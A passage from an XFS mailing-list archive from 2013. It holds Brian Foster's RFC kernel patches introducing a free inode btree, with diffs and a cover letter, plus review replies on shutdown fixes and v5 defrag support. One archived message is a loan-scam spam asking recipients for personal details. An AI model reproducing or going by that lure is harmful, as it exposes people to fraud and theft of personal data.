mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Reserve a v5 read-only compatibility feature bit for the finobt and create the xfs_sb_version_hasfinobt() helper to determine whether an fs has the feature enabled. The finobt does not change existing on-disk structures, but must remain consistent with the ialloc btree. Modifications from older kernels would violate that constrant. Therefore, we restrict older kernels to read-only mounts of finobt-enabled filesystems. Signed-off-by: Brian Foster --- fs/xfs/xfs_sb.h | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 6835b44..c48d95d 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -585,7 +585,9 @@ xfs_sb_has_compat_feature( return (sbp->sb_features_compat & feature) != 0; } -#define XFS_SB_FEAT_RO_COMPAT_ALL 0 +#define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ +#define XFS_SB_FEAT_RO_COMPAT_ALL \ + (XFS_SB_FEAT_RO_COMPAT_FINOBT) #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool xfs_sb_has_ro_compat_feature( @@ -639,6 +641,12 @@ static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE)); } +static inline int xfs_sb_version_hasfinobt(xfs_sb_t *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_FINOBT); +} + /* * end of superblock version macros */ -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 96D3B7F58 for ; Tue, 3 Sep 2013 13:25:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 59E058F8035 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04bdf02f22d47210001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EmdDJ5iIc4dAqh2q for ; Tue, 03 Sep 2013 11:25:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkUZ027300 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPk1Q004524 for ; Tue, 3 Sep 2013 14:25:46 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 342B5122420; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 04/11] xfs: update inode allocation transaction reservations for finobt Date: Tue, 3 Sep 2013 14:25:01 -0400 X-ASG-Orig-Subj: [RFC PATCH 04/11] xfs: update inode allocation transaction reservations for finobt Message-Id: <1378232708-57156-5-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Update inode allocation transaction reservations for the finobt. A create via record modification requires a log reservation for the additional finobt record. Any such allocation could result in an finobt removal if the inode chunk has become fully allocated, thus we include a reservation for a finobt btree merge as well. Allocation of a new inode chunk must account for splits in the finobt as well as the existing ialloc tree. Also update XFS_IALLOC_SPACE_RES() to reserve data blocks for finobt split/merge scenarios. Signed-off-by: Brian Foster --- fs/xfs/xfs_trans_resv.c | 9 ++++++++- fs/xfs/xfs_trans_space.h | 2 +- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index a65a3cc..3040dad 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -272,6 +272,8 @@ xfs_calc_remove_reservation( * the parent directory inode: inode size * the new inode: inode size * the inode btree entry: block size + * the free inode btree entry: block size + * the free inode btree: max depth * block size * the superblock for the nlink flag: sector size * the directory btree: (max depth + v2) * dir block size * the directory inode's bmap btree: (max depth + v2) * block size @@ -282,7 +284,8 @@ xfs_calc_create_resv_modify( { return xfs_calc_inode_res(mp, 2) + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - (uint)XFS_FSB_TO_B(mp, 1) + + (uint)XFS_FSB_TO_B(mp, 2) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); } @@ -292,6 +295,7 @@ xfs_calc_create_resv_modify( * the superblock for the nlink flag: sector size * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize * the inode btree: max depth * blocksize + * the free inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size */ STATIC uint @@ -302,6 +306,7 @@ xfs_calc_create_resv_alloc( mp->m_sb.sb_sectsize + xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -320,6 +325,7 @@ __xfs_calc_create_reservation( * the agi and agf of the ag getting the new inodes: 2 * sectorsize * the superblock for the nlink flag: sector size * the inode btree: max depth * blocksize + * the free inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size */ STATIC uint @@ -329,6 +335,7 @@ xfs_calc_icreate_resv_alloc( return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + mp->m_sb.sb_sectsize + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), XFS_FSB_TO_B(mp, 1)); } diff --git a/fs/xfs/xfs_trans_space.h b/fs/xfs/xfs_trans_space.h index 7d2c920..5dca732 100644 --- a/fs/xfs/xfs_trans_space.h +++ b/fs/xfs/xfs_trans_space.h @@ -47,7 +47,7 @@ #define XFS_DIRREMOVE_SPACE_RES(mp) \ XFS_DAREMOVE_SPACE_RES(mp, XFS_DATA_FORK) #define XFS_IALLOC_SPACE_RES(mp) \ - (XFS_IALLOC_BLOCKS(mp) + (mp)->m_in_maxlevels - 1) + (XFS_IALLOC_BLOCKS(mp) + 2 * ((mp)->m_in_maxlevels - 1)) /* * Space reservation values for various transactions. -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1AC5D7F69 for ; Tue, 3 Sep 2013 13:25:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id ADEC3AC006 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04bdf02f21d47210001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tFmqiGD3k9vvLBiv for ; Tue, 03 Sep 2013 11:25:48 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPlF9031734 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r83IPkwR009498 for ; Tue, 3 Sep 2013 14:25:47 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 6E8C0123B86; Tue, 3 Sep 2013 14:25:09 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 08/11] xfs: insert newly allocated inode chunks into the finobt Date: Tue, 3 Sep 2013 14:25:05 -0400 X-ASG-Orig-Subj: [RFC PATCH 08/11] xfs: insert newly allocated inode chunks into the finobt Message-Id: <1378232708-57156-9-git-send-email-bfoster@redhat.com> In-Reply-To: <1378232708-57156-1-git-send-email-bfoster@redhat.com> References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A newly allocated inode chunk, by definition, has at least one free inode, so a record is always inserted into the finobt. Create the xfs_inobt_insert() helper from existing code to insert a record in an inobt based on the provided BTNUM. Update xfs_ialloc_ag_alloc() to invoke the helper for the existing XFS_BTNUM_INO tree and XFS_BTNUM_FINO tree, if enabled. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 79 +++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 56 insertions(+), 23 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 5ced506..e64a728 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -152,6 +152,52 @@ xfs_check_agi_freecount( #endif /* + * Insert records describing a newly allocated inode chunk into the inobt. + */ +STATIC int +xfs_inobt_insert( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agino_t newino, + xfs_agino_t newlen, + xfs_btnum_t btnum) +{ + struct xfs_btree_cur *cur; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + xfs_agino_t thisino; + int i; + int error; + + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, btnum); + + for (thisino = newino; + thisino < newino + newlen; + thisino += XFS_INODES_PER_CHUNK) { + cur->bc_rec.i.ir_startino = thisino; + cur->bc_rec.i.ir_freecount = XFS_INODES_PER_CHUNK; + cur->bc_rec.i.ir_free = XFS_INOBT_ALL_FREE; + error = xfs_btree_lookup(cur, XFS_LOOKUP_EQ, &i); + if (error) { + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; + } + ASSERT(i == 0); + error = xfs_btree_insert(cur, &i); + if (error) { + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; + } + ASSERT(i == 1); + } + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + + return 0; +} + +/* * Initialise a new set of inodes. When called without a transaction context * (e.g. from recovery) we initiate a delayed write of the inode buffers rather * than logging them (which in a transaction context puts them into the AIL @@ -309,13 +355,10 @@ xfs_ialloc_ag_alloc( { xfs_agi_t *agi; /* allocation group header */ xfs_alloc_arg_t args; /* allocation argument structure */ - xfs_btree_cur_t *cur; /* inode btree cursor */ xfs_agnumber_t agno; int error; - int i; xfs_agino_t newino; /* new first inode's number */ xfs_agino_t newlen; /* new number of inodes */ - xfs_agino_t thisino; /* current inode number, for loop */ int isaligned = 0; /* inode allocation at stripe unit */ /* boundary */ struct xfs_perag *pag; @@ -453,29 +496,19 @@ xfs_ialloc_ag_alloc( agi->agi_newino = cpu_to_be32(newino); /* - * Insert records describing the new inode chunk into the btree. + * Insert records describing the new inode chunk into the btrees. */ - cur = xfs_inobt_init_cursor(args.mp, tp, agbp, agno, XFS_BTNUM_INO); - for (thisino = newino; - thisino < newino + newlen; - thisino += XFS_INODES_PER_CHUNK) { - cur->bc_rec.i.ir_startino = thisino; - cur->bc_rec.i.ir_freecount = XFS_INODES_PER_CHUNK; - cur->bc_rec.i.ir_free = XFS_INOBT_ALL_FREE; - error = xfs_btree_lookup(cur, XFS_LOOKUP_EQ, &i); - if (error) { - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); - return error; - } - ASSERT(i == 0); - error = xfs_btree_insert(cur, &i); - if (error) { - xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + error = xfs_inobt_insert(args.mp, tp, agbp, newino, newlen, + XFS_BTNUM_INO); + if (error) + return error; + + if (xfs_sb_version_hasfinobt(&args.mp->m_sb)) { + error = xfs_inobt_insert(args.mp, tp, agbp, newino, newlen, + XFS_BTNUM_FINO); + if (error) return error; - } - ASSERT(i == 1); } - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); /* * Log allocation group header fields */ -- 1.8.1.4 From bfoster@redhat.com Tue Sep 3 13:25:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 144027F67 for ; Tue, 3 Sep 2013 13:25:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 894E1AC005 for ; Tue, 3 Sep 2013 11:25:48 -0700 (PDT) X-ASG-Debug-ID: 1378232747-04cb6c2e9cd233e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id pbnSCMJeHByxXuCe for ; Tue, 03 Sep 2013 11:25:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkMw029400 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 3 Sep 2013 14:25:46 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r83IPkJC004522 for ; Tue, 3 Sep 2013 14:25:46 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id E161A12057B; Tue, 3 Sep 2013 14:25:08 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [RFC PATCH 00/11] xfs: introduce the free inode btree Date: Tue, 3 Sep 2013 14:24:57 -0400 X-ASG-Orig-Subj: [RFC PATCH 00/11] xfs: introduce the free inode btree Message-Id: <1378232708-57156-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378232747 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, This is an RFC for the kernel work to support a free inode btree. The free inode btree (finobt) is equivalent to the existing inode allocation btree with the exception that the finobt only tracks inode chunks with at least one free inode. The purpose is to improve lookups for free inode clusters for inode allocation. Newly allocated inode chunks by definition contain free inodes and are thus inserted into the finobt immediately. The record for a previously full inode chunk is inserted to the finobt when the first inode is freed. A record is removed from the finobt when the last free inode has been allocated or the entire chunk is completely deallocated. Patches 1-3 refactor some ialloc btree code to introduce the new finobt type and feature bit. Patches 4-7 fix up the transaction handling for inode allocation and deallocation to account for the new tree. Patches 8-10 add the finobt management code to insert, remove and modify records as appropriate. Patch 11 fixes growfs to support the finobt. Thoughts, reviews, flames appreciated. NOTES: - This is RFC because it is lightly tested and I don't have much userspace code at the moment (though most of this code should apply). - I'm not totally sure about the scope of change in patch 6 (use correct transaction reservations in xfs_inactive()). I started off minimally altering the reserved blocks value, but the existing transaction management seemed strange enough that I ended up with the current patch. I figured I'd start here and pare it back as necessary if the changes are bogus or lead to other problems. - I've yet to do any performance testing to measure the benefit of patch 9. Brian Brian Foster (11): xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers xfs: reserve v5 superblock read-only compat. feature bit for finobt xfs: support the XFS_BTNUM_FINOBT free inode btree type xfs: update inode allocation transaction reservations for finobt xfs: update ifree transaction reservations for finobt xfs: use correct transaction reservations in xfs_inactive() xfs: retry trans reservation on ENOSPC in xfs_inactive() xfs: insert newly allocated inode chunks into the finobt xfs: use and update the finobt on inode allocation xfs: update the finobt on inode free xfs: add finobt support to growfs fs/xfs/xfs_ag.h | 7 +- fs/xfs/xfs_btree.c | 6 +- fs/xfs/xfs_btree.h | 3 + fs/xfs/xfs_fsops.c | 32 +++++ fs/xfs/xfs_ialloc.c | 343 ++++++++++++++++++++++++++++++++++++++++++---- fs/xfs/xfs_ialloc_btree.c | 37 +++-- fs/xfs/xfs_ialloc_btree.h | 17 ++- fs/xfs/xfs_inode.c | 82 ++++++----- fs/xfs/xfs_itable.c | 6 +- fs/xfs/xfs_log_recover.c | 2 + fs/xfs/xfs_sb.h | 10 +- fs/xfs/xfs_stats.h | 18 ++- fs/xfs/xfs_trans_resv.c | 14 +- fs/xfs/xfs_trans_space.h | 4 +- fs/xfs/xfs_types.h | 2 +- 15 files changed, 500 insertions(+), 83 deletions(-) -- 1.8.1.4 From BATV+99e3cedaa157929b46fa+3663+infradead.org+hch@bombadil.srs.infradead.org Tue Sep 3 14:02:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F077B7F3F for ; Tue, 3 Sep 2013 14:02:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DF2E730407A for ; Tue, 3 Sep 2013 12:02:17 -0700 (PDT) X-ASG-Debug-ID: 1378234931-04cb6c153dd1fd90001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 5SvXn6d1K5tEOTJ1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 12:02:12 -0700 (PDT) X-Barracuda-Envelope-From: BATV+99e3cedaa157929b46fa+3663+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VGvrf-0007Bo-0B; Tue, 03 Sep 2013 19:02:11 +0000 Date: Tue, 3 Sep 2013 12:02:10 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: more shutdown-related fixes Message-ID: <20130903190210.GA23072@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: more shutdown-related fixes References: <1378208858-20557-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378208858-20557-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1378234932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140242 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 09:47:36PM +1000, Dave Chinner wrote: > Hi folks, > > More fixes as a result of forced shutdown testing. The first is > fixing yet another hole in the buf log item freein logic when a > transaction is aborted, and the other removes the asserts from the > inode buffer checking so that verifiers return errors rather than > crashing the system. Btw, I've been wondering for a while if we need a major change to how the buf item refcounting works. All these little special cases in there are utterly non-intuitive. I've not looked very deep yet, but a normal scheme where every reference to it increments the refcount, and we simply free it when that hits zero should work here as well. We'd still need flags for the abort and clean conditions, but it would still be way simpler than what we have now. From bpm@sgi.com Tue Sep 3 14:12:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9C1C17F3F for ; Tue, 3 Sep 2013 14:12:04 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 851818F8040; Tue, 3 Sep 2013 12:12:01 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5DE524266DC; Tue, 3 Sep 2013 14:12:01 -0500 (CDT) Date: Tue, 3 Sep 2013 14:12:01 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems Message-ID: <20130903191201.GL1935@sgi.com> References: <1377822225-17621-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1377822225-17621-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Dave, On Fri, Aug 30, 2013 at 10:23:43AM +1000, Dave Chinner wrote: > Hi folks, > > The following 2 patches implement the BMBT owner change transaction > that is necessary to enable the XFS_IOC_SWAPEXT ioctl to operate on > v5 filesystems correctly. The first patch implements the > transactional runtime change, and the second patch implements the > recovery of that change. > > Both the run time and recovery code use the same mechanism for > changing the owner field in all the blocks in the BMBT on an inode, > and even though XFS_IOC_SWAPEXT only swaps the data fork, the code > has been written to be fork neutral so if we even need to swap > attribute forks it should just work for that, too. > > Further, because the BMBT code uses the generic btree > infrastructure, the btree modification is done as a generic function > as well and so should work for all types of btrees supported by the > generic code. Hence if the need arises we can easily change the > owner of any btree that uses the generic code. > > The testing carried out is documented in the description of the > second patch. > > AFAIA, this is the only remaining feature that the kernel v5 > filesystem implementation didn't support. Hence, with this patchset, > there are no more feature checkboxes that need to be ticked that > would prevent us from removing the experimental tag from it. Testing > is the only remaining gate to removing the tag from the kernel > code... I believe there is still the discussion surrounding being able to use the self describing metadata without enabling crcs that needs to be resolved before removing the experimental tag. Some customers will want to use features such as t10-dif and won't want to calculate two separate crcs. Normally that discussion probably needn't gate the removal of the experimental tag, but unfortunately there will be some compatability issues surrounding an additional feature bit and modification of mkfs that we should probably iron out first. Other than that discussion, I think we're about on the same page... Regards, Ben From europeanunioncompensation@ulrc.go.ug Tue Sep 3 14:16:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_REPLYTO autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E9CFA7F3F for ; Tue, 3 Sep 2013 14:16:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B56B28F804B for ; Tue, 3 Sep 2013 12:16:00 -0700 (PDT) X-ASG-Debug-ID: 1378235756-04bdf02f20d48c90001-NocioJ Received: from vmail.am.gdynia.pl (vmail.am.gdynia.pl [153.19.111.252]) by cuda.sgi.com with ESMTP id 5nNbZuXEgiBZ7FKS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 12:15:59 -0700 (PDT) X-Barracuda-Envelope-From: europeanunioncompensation@ulrc.go.ug X-Barracuda-Apparent-Source-IP: 153.19.111.252 Received: from localhost (localhost [127.0.0.1]) by vmail.am.gdynia.pl (Postfix) with ESMTP id 80538207F9C; Tue, 3 Sep 2013 20:41:49 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at vmail.am.gdynia.pl Received: from vmail.am.gdynia.pl ([127.0.0.1]) by localhost (vmail.am.gdynia.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id C8P2hOSQ8noe; Tue, 3 Sep 2013 20:41:49 +0200 (CEST) Received: by vmail.am.gdynia.pl (Postfix, from userid 33) id 1F3BD203B48; Tue, 3 Sep 2013 20:41:44 +0200 (CEST) Received: from 197.220.193.49 (SquirrelMail authenticated user p.podgorniak@wpit.am.gdynia.pl) by vmail.am.gdynia.pl with HTTP; Tue, 3 Sep 2013 20:41:44 +0200 Message-ID: Date: Tue, 3 Sep 2013 20:41:44 +0200 Subject: From: "EUROPEAN UNION=" X-ASG-Orig-Subj: Reply-To: europeanunioncompensationshem@gmail.com User-Agent: SquirrelMail/1.4.21 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: vmail.am.gdynia.pl[153.19.111.252] X-Barracuda-Start-Time: 1378235758 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.79 X-Barracuda-Spam-Status: No, SCORE=1.79 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, MISSING_SUBJECT, MISSING_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140242 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 MISSING_SUBJECT Missing Subject: header 0.50 BSF_SC0_SA620a Custom Rule SA620a 1.28 MISSING_SUBJECT_2 Missing Subject: header Do you need loan? if yes Loan provide the info.Name: Amount needed: duration: country: telepone:peterfavour@hotmail.com From bpm@sgi.com Tue Sep 3 14:35:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 33B6D7F3F for ; Tue, 3 Sep 2013 14:35:45 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id B7E3AAC006; Tue, 3 Sep 2013 12:35:41 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5CD7B4266DC; Tue, 3 Sep 2013 14:35:41 -0500 (CDT) Date: Tue, 3 Sep 2013 14:35:41 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH V2] xfs: dtype changed xfs_dir2_sfe_put_ino to 